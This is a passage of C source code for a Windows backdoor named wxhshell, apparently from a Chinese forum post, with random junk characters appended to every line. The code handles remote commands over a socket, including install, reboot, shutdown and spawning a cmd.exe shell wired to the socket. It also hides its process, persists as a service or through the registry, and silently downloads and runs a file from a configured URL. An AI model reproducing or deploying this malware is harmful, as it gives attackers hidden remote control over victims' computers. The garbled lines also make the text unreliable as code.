  } b]y2+A.n  
  else { 6wxs1G  
$u.z*b_yy  
    switch(cmd[0]) { D]}G.v1  
  +d>IHpt  
  // 帮助 .u:GjL'$  
  case '?': { a =QCp4^  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); kP"9&R`E  
    break; v:U-6W_)|  
  } 4Up/p&1@  
  // 安装 MJvp6n  
  case 'i': { Vc2`b3"Br  
    if(Install()) ;aBG,dr}i  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); `9 L>*  
    else PM+[,H  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); =}*0-\QG  
    break; G2Zer=rC  
    } *or(1DXP8  
  // 卸载 ]oxZ77ciL  
  case 'r': { "fI6Cpc  
    if(Uninstall()) '%D7C=;^  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); c:0L+OF}xY  
    else JO;Uus{?  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); w@b)g  
    break; (?c-iKGc  
    } pGZ8F  
  // 显示 wxhshell 所在路径 G9lUxmS<  
  case 'p': { E3i4=!Y  
    char svExeFile[MAX_PATH]; Zh,71Umz  
    strcpy(svExeFile,"\n\r"); g ?k=^C  
      strcat(svExeFile,ExeFile); IU[ [ H#  
        send(wsh,svExeFile,strlen(svExeFile),0); #jk_5W  
    break; >bxS3FCX  
    } `g,..Ns-r  
  // 重启 k\IbIv7?i  
  case 'b': { [~ fraK,)  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); p[-O( 3Y  
    if(Boot(REBOOT)) Jv i#)  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); rZF*q2?  
    else { :t[_:3@  
    closesocket(wsh); KP"+e:a%  
    ExitThread(0); Rv=YFo[B  
    } ;,TFr}p`  
    break; \8 ":]EU  
    } Tk>#G{Wb-  
  // 关机 @oNXZRg6  
  case 'd': { 0erNc'e  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); U(Zq= M  
    if(Boot(SHUTDOWN)) 9z0p5)]n>  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); phK/   
    else { |zU-KGO&  
    closesocket(wsh); XkqCZHYkS  
    ExitThread(0); GeqPRah  
    } ,bd_:  
    break; 5bIw?%dk(  
    } SKtrtm  
  // 获取shell -} +[  
  case 's': { S3#>9k;p  
    CmdShell(wsh); So;<6~  
    closesocket(wsh); .6> w'F{>  
    ExitThread(0); R/_&m$ZB  
    break; %C0Dw\A*:  
  } B[}6-2<>?C  
  // 退出 H.;Q+A,8^  
  case 'x': { \!(zrfP{(  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); ZC ?Xqp  
    CloseIt(wsh); n|hNM?v  
    break; G B^Br6  
    } 9$Y=orpWxr  
  // 离开 fOHxtHM  
  case 'q': { 5N]"~w*  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); 9^x> 3Bo  
    closesocket(wsh); UBs4K*h|  
    WSACleanup(); QnDg 6m)+  
    exit(1); i@q&5;%%  
    break; )_:NLo:  
        } =%7-ZH9  
  } _M1%Z~  
  } "&] -2(  
-4K5-|>O  
  // 提示信息 $xqa{L%B  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 0"R|..l/  
} ~~.}ah/_d  
  } ta0|^KAA  
xG 1n GO  
  return; [WJ+h~~ o  
} Smh,zCc>s  
Om<a<q  
// shell模块句柄 rA1._   
int CmdShell(SOCKET sock) yu|>t4#GT  
{ >lm&iF3y  
STARTUPINFO si; dQvcXl]  
ZeroMemory(&si,sizeof(si)); cl1T8vFM  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; rOYx b }1  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; ;"I^ZFYX  
PROCESS_INFORMATION ProcessInfo; cNrg#Asen&  
char cmdline[]="cmd"; /QQ*8o8  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); Q59suL   
  return 0; ?0.NIu,,o  
} +3gp%`c4  
=wJX 0A|  
// 自身启动模式 K"6vXv4QO  
int StartFromService(void) Mt$ *a  
{ B?QIN]  
typedef struct s.rm7r@ #  
{ b>W %t  
  DWORD ExitStatus; R_KH"`q  
  DWORD PebBaseAddress; $qiya[&G4  
  DWORD AffinityMask; 9sP0D  
  DWORD BasePriority; #tHK"20  
  ULONG UniqueProcessId; c L]1f  
  ULONG InheritedFromUniqueProcessId; W_=f'yb:E  
}   PROCESS_BASIC_INFORMATION; }bDm@NU  
bcyzhK=  
PROCNTQSIP NtQueryInformationProcess; 1 zZlC#V  
m 5.Zu.  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; "%_+-C<L4  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; ]'cs.  
gR**@t=;j  
  HANDLE             hProcess; DXo|.!P=3  
  PROCESS_BASIC_INFORMATION pbi; #E?4E1bnB  
J,hCvm  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); mw!F{pw  
  if(NULL == hInst ) return 0; '91/md5  
29rX%09T]  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); _$'ashF  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); /z!%d%"  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); }C:r 9? T  
\zY!qpX<  
  if (!NtQueryInformationProcess) return 0; O^.#d  
4 5e~6",  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); 7v kL1IA  
  if(!hProcess) return 0; LLo;\WGZ  
dG{A~Z z  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0;  g-A-kqo9  
r$1Qf}J3=  
  CloseHandle(hProcess); |>Vb9:q9Po  
ok[i<zl; '  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); 97]E1j]  
if(hProcess==NULL) return 0; +0&/g&a\R  
osRy e3  
HMODULE hMod; 2T35{Q!=F  
char procName[255]; eavV?\uV%  
unsigned long cbNeeded; 1^}+=~  
 g(052]  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); f 2.HF@  
^c<Ve'-  
  CloseHandle(hProcess); Wri<h:1  
b sX[UF  
if(strstr(procName,"services")) return 1; // 以服务启动 53D]3  
.]u /O`c]  
  return 0; // 注册表启动 ZH8,K Y"  
} *g%yRU{N  
t!XwW$@  
// 主模块 vt8By@]:  
int StartWxhshell(LPSTR lpCmdLine) n[z+<VGwC  
{ Z~CjA%l  
  SOCKET wsl; qna8|3eP  
BOOL val=TRUE; Nc`L;CP  
  int port=0; L_T5nD^D  
  struct sockaddr_in door;  )2.Si#  
M-71 1|eGI  
  if(wscfg.ws_autoins) Install(); # ] QZ  
wj,=$RX  
port=atoi(lpCmdLine); +whDU2 "  
q 1,~  
if(port<=0) port=wscfg.ws_port; <YY14p  
#a6iuO0I  
  WSADATA data; $mILoy B,  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; !zo{tI19  
a9gLg &  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   CrLrw T  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); ^sw?gH*  
  door.sin_family = AF_INET; Ew N}l  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); 0S"MC9beg  
  door.sin_port = htons(port); ~Y;*u]^  
#mF"1QW  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { K-4PI+qQ\  
closesocket(wsl); _b 0& !l<  
return 1; 6Oq 7#3]  
} UNYqft4  
#e"[^_C@!  
  if(listen(wsl,2) == INVALID_SOCKET) { "sTRS*  
closesocket(wsl); )8AXm  
return 1; @]j1:PN-  
} A"]YM'.  
  Wxhshell(wsl); rp$'L7lrX  
  WSACleanup(); V`- 9m$  
!g[Zfo2r"  
return 0; V88p;K$+  
vaLSH xi  
} *w&e\i|7  
;u JMG  
// 以NT服务方式启动 7! Nsm  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) It(_v  
{ #"!<W0  
DWORD   status = 0; (=0.inZ  
  DWORD   specificError = 0xfffffff; XSR 4iu  
V0@=^Bls  
  serviceStatus.dwServiceType     = SERVICE_WIN32; # d  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; Vr}'.\$  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; l#o ~W`  
  serviceStatus.dwWin32ExitCode     = 0; aN?zmkPpov  
  serviceStatus.dwServiceSpecificExitCode = 0; /: "1Z]@  
  serviceStatus.dwCheckPoint       = 0; <)9y{J}s:  
  serviceStatus.dwWaitHint       = 0; CJ}%W#  
W1~0_;  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); o&%g8=n%  
  if (hServiceStatusHandle==0) return; %J(:ADu]  
q~3>R=t  
status = GetLastError(); ye&;(30Oq  
  if (status!=NO_ERROR) G{}VPcrbC  
{ @JMiO^  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; C+$#y2"z#n  
    serviceStatus.dwCheckPoint       = 0; $4LzcwG  
    serviceStatus.dwWaitHint       = 0; Ml_^ `vn  
    serviceStatus.dwWin32ExitCode     = status; o-5TC  
    serviceStatus.dwServiceSpecificExitCode = specificError; !L(^(;$Kgr  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); C dn J&N{  
    return; u 9e@a9c  
  } K+eM   
js(pC@<q5  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; .('SW\u-  
  serviceStatus.dwCheckPoint       = 0; Z@HEj_n  
  serviceStatus.dwWaitHint       = 0; j#|ZP-=1_  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); -@'FW*b  
} Lbgi7|&  
.v K-LHs  
// 处理NT服务事件,比如:启动、停止 pK*TE5]  
VOID WINAPI NTServiceHandler(DWORD fdwControl) 1EK *g;H  
{ dO'(2J8  
switch(fdwControl) {: /}NpA$  
{ Txu/{ M,  
case SERVICE_CONTROL_STOP: BGSw~6  
  serviceStatus.dwWin32ExitCode = 0; y29m/i:  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; P.cyO3l  
  serviceStatus.dwCheckPoint   = 0; Oketwa  
  serviceStatus.dwWaitHint     = 0; J.a]K[ci  
  { x2xRBkRg=  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); sJZ iI}Xc  
  } G|Ti4_w  
  return; 9up3[F$  
case SERVICE_CONTROL_PAUSE: t@(HF-4~=  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; %{W6PrY{  
  break; 1 MFbQs^  
case SERVICE_CONTROL_CONTINUE: - ).C  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; )0`C@um  
  break; hN_]6,<\  
case SERVICE_CONTROL_INTERROGATE: X|dlt{Gf   
  break; e\rp)[>'  
}; Rq-ZL{LR7  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); pglVR </  
} E .h*g8bXe  
0GwR~Z}Z  
// 标准应用程序主函数 6tZI["\   
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) awRX1:T#;O  
{ ~N4m1s"  
_`X:jj>  
// 获取操作系统版本 Gv&V|7-f0  
OsIsNt=GetOsVer(); P \I|,  
GetModuleFileName(NULL,ExeFile,MAX_PATH); 5P bW[  
PCA4k.,T  
  // 从命令行安装 mFeP9MfJ  
  if(strpbrk(lpCmdLine,"iI")) Install(); I%):1\)  
'/p4O2b,  
  // 下载执行文件 ?6!LL5a.  
if(wscfg.ws_downexe) { P}iE+Z 3  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) +`4A$#$+y  
  WinExec(wscfg.ws_filenam,SW_HIDE); T{ "(\X$  
} 6]N.%Y[(  
kZ~~/?B  
if(!OsIsNt) { 9r9NxKuAO  
// 如果时win9x,隐藏进程并且设置为注册表启动 Z+SRXKQ  
HideProc(); / {%%"j  
StartWxhshell(lpCmdLine); y =@N|f!  
} ZSw.U:ep$s  
else 'u658Tj  
  if(StartFromService()) Om&Dw |xG8  
  // 以服务方式启动 /Oono6j  
  StartServiceCtrlDispatcher(DispatchTable); Ri'n  
else +ZYn? #IQ  
  // 普通方式启动 !D6]JPX  
  StartWxhshell(lpCmdLine); !-bB559Nv  
2wn2.\v M  
return 0; `cO:<^%  
}
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只看该作者 1 发表于: 2006-10-10
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